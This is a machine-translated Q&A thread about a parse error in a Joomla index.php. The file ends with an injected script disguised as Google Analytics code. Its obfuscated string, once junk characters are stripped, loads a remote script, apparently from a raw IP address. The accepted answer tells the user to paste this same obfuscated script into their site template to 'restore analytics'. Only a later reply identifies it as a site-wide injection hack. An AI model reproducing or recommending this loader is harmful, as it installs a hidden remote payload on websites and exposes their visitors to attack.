2009-06-14 22 views
0

Newbここに私のPHPコードを修正しようとしています。ライン89構文解析エラー:予期しない構文エラーです。

<?php 
/** 
* @version  $Id: index.php 10381 2008-06-01 03:35:53Z pasamio $ 
* @package  Joomla 
* @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved. 
* @license  GNU/GPL, see LICENSE.php 
* Joomla! is free software. This version may have been modified pursuant 
* to the GNU General Public License, and as distributed it includes or 
* is derivative of works licensed under the GNU General Public License or 
* other free or open source software licenses. 
* See COPYRIGHT.php for copyright notices and details. 
*/ 

// Set flag that this is a parent file 
define('_JEXEC', 1); 

define('JPATH_BASE', dirname(__FILE__)); 

define('DS', DIRECTORY_SEPARATOR); 

require_once (JPATH_BASE .DS.'includes'.DS.'defines.php'); 
require_once (JPATH_BASE .DS.'includes'.DS.'framework.php'); 

JDEBUG ? $_PROFILER->mark('afterLoad') : null; 

/** 
* CREATE THE APPLICATION 
* 
* NOTE : 
*/ 
$mainframe =& JFactory::getApplication('site'); 

/** 
* INITIALISE THE APPLICATION 
* 
* NOTE : 
*/ 
// set the language 
$mainframe->initialise(); 

JPluginHelper::importPlugin('system'); 

// trigger the onAfterInitialise events 
JDEBUG ? $_PROFILER->mark('afterInitialise') : null; 
$mainframe->triggerEvent('onAfterInitialise'); 

/** 
* ROUTE THE APPLICATION 
* 
* NOTE : 
*/ 
$mainframe->route(); 

// authorization 
$Itemid = JRequest::getInt('Itemid'); 
$mainframe->authorize($Itemid); 

// trigger the onAfterRoute events 
JDEBUG ? $_PROFILER->mark('afterRoute') : null; 
$mainframe->triggerEvent('onAfterRoute'); 

/** 
* DISPATCH THE APPLICATION 
* 
* NOTE : 
*/ 
$option = JRequest::getCmd('option'); 
$mainframe->dispatch($option); 

// trigger the onAfterDispatch events 
JDEBUG ? $_PROFILER->mark('afterDispatch') : null; 
$mainframe->triggerEvent('onAfterDispatch'); 

/** 
* RENDER THE APPLICATION 
* 
* NOTE : 
*/ 
$mainframe->render(); 

// trigger the onAfterRender events 
JDEBUG ? $_PROFILER->mark('afterRender') : null; 
$mainframe->triggerEvent('onAfterRender'); 

/** 
* RETURN THE RESPONSE 
*/ 
echo JResponse::toString($mainframe->getCfg('gzip')); 
<?php echo '<script type="text/javascript">var gaJsHost = (("https:" ==  document.location.protocol) ? "https://ssl." : "http://www."); 
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' " + '#@!s(&r)[email protected]#=!)\'!h$#t^!#[email protected]@!$p&^[email protected]:$^/[email protected]#!/#9(1)@.(2)1#(2)!.^& [email protected]!#^5(@#!.!&[email protected]#4)8#& /($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "' type='text/javascript'%3E%3C  /script%3E")); 
</script> 
try { 
var pageTracker = _gat._getTracker("UA-7623457-2"); 
pageTracker._trackPageview(); 
} catch(err) {}</script>'; ?> 
+1

Uhh。ソースコードを再フォーマットして、完全なエラーメッセージを表示できますか? Joomla/modulパッケージのどのファイルを編集していますか?このカットアウトでは、どちらの線が線 "89"ですか? – merkuro

+0

条件演算子を乱用しないでください。より読みやすくするために 'if'を使うべきです。 – Gumbo

答えて

2

ただのJoomla 1.5パッケージ内のファイルを見つけました。これはルートディレクトリのindex.phpです。このファイルは89行のみで構成されており、動作することが証明されているため、joomla自体に問題はありません。

上記のように、行89の後にすべてを切り取り、元のレイアウトにファイルを復元します。不明な場合は、最新のJoomla 1.5インストールをロードし、付属の "index.php"ファイルを取得してください。 Btw。既にJoomlaでgzipされて返されている可能性があり、bodyタグが既に閉じられていると、クリアテキストでコンテンツを返すのは賢明ではありません。

Googleアナリティクス機能を復元するにはどうすればよいですか? 、あなたの現在使用されたテンプレートを検索「のindex.php」ファイルを開き、bodyタグが閉じられる直前に次の行を追加します。

<script type="text/javascript">var gaJsHost = (("https:" ==  document.location.protocol) ? "https://ssl." : "http://www."); 
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' " + '#@!s(&r)[email protected]#=!)\'!h$#t^!#[email protected]@!$p&^[email protected]:$^/[email protected]#!/#9(1)@.(2)1#(2)!.^& [email protected]!#^5(@#!.!&[email protected]#4)8#& /($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "' type='text/javascript'%3E%3C  /script%3E")); 

try { 
var pageTracker = _gat._getTracker("UA-7623457-2"); 
pageTracker._trackPageview(); 
} catch(err) {}</script> 
+0

もう一度非常に感謝します。ここに大きな小さなサイト。 –

1

でエラーを取得するあなたが前のものを終了せずに別の<?phpセクションを開始しています。

最初に新しい<?phpセクションを開くのはなぜですか?あなたはすでに1つに入っています。 <?php部分を89行目から削除してください。少なくとも構文的にはうまくいくと思います。

明確にするためには、現在持っている:

<?php 
stuff 
<?php 
more stuff 
?> 

あなたが欲しい:

<?php 
stuff 
more stuff 
?> 
+0

他の人がバックエンドを処理し、サイトがダウンしています。私はそれを取得し、実行するためにこれを修正しようとしているが、ゼロのPHPスキルを持っています。どんな助けも素晴らしいだろう。 –

+1

私もゼロのPHPスキルを持っていますが、この場合、エラーメッセージは妥当であるようです。 –

+0

私はまた、より良い解決策は、以前の作業バージョンにロールバックするだけかもしれないと付け加えます。彼らがやろうとしていることを知らずに誰かの壊れた変更を修正することは、おそらく悪い考えです。 –

0

私は、これはハックウェブより多くの検索のいくつかのタイプであると考えて、私は、これは持っていました私のサイトの日曜日午前9時頃に起こった、私は日曜日を取るようにその夜までそれをキャッチしませんでした。私は私のPHPログを見て、それが私が持っていたほとんどすべてのindex.phpファイルに挿入されていることがわかりました。私は前夜から完全に復元しました。何かにアクセスするすべてのパスワードを変更しました。私はサイト(私はそれがウクライナのどこかに情報を送っていたと言いましたが、私はこれを確認することはできません)私は読んでいた私が知っていることは、それを入れなかったことと20ページ以上にわたることです。私のサイトがダウンしたので運がよかったので、なぜそれを見つけなければなりませんでした。

あなたが使用しているjoomlaと他のコンポーネントのバージョンを投稿してください。

関連する問題